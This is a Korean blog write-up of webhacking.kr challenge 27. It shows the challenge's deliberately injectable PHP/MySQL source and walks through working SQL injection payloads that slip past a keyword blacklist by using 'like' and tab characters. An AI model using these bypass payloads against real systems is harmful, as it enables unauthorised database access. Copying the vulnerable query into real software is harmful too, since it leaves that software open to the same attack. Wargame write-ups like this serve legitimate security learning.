시작하고 GET Method로 no 변수에 숫자 1을 넣어주면 guest라는 문자열과 view-source가 나타나게 됩니다.

일단 view source 먼저 확인해보면 다음과 같습니다.


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>


위의 소스를 보면 no값에 숫자가 감싸져 있는 것을 볼 수 있습니다.

그리고 뒤에는 따로 주석처리할 게 없습니다. 


이를 우회하기 위해 다음과 같이 수행해 보았습니다.


select id from chall27 where id='guest' and no=(0)||id='guest' -- )

위와 같이 되면 guest가 나와야 정상이다.


그러나 위의 필터링에서 =, limit, 0x20(스페이스), 0x 등이 필터링 되어 있는 것을 볼 수 있습니다.


따라서 = 대신에 like를 0x20(스페이스) 대신에 GET Method로 %09 혹은 %0a를 넣어주도록 합시다.


문제의 답은 GET Method로 삽입하기 때문에 다음과 같이 쿼리를 넣어줄 수 있습니다.


테스트를 위해 guest를 출력해봄 no=0)%09or%09id%09like%09%27gu%25%27%09--%09

풀이를 위해 admin이 출력되게 함 no=0)%09or%09id%09like%09%27ad%25%27%09--%09




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24
Webhacking.kr_No.25(150) - old  (0) 2016.12.08
Webhacking.kr_No.24(100) - old  (0) 2016.06.28
Webhacking.kr_No.23(200) - old  (0) 2016.06.28

+ Recent posts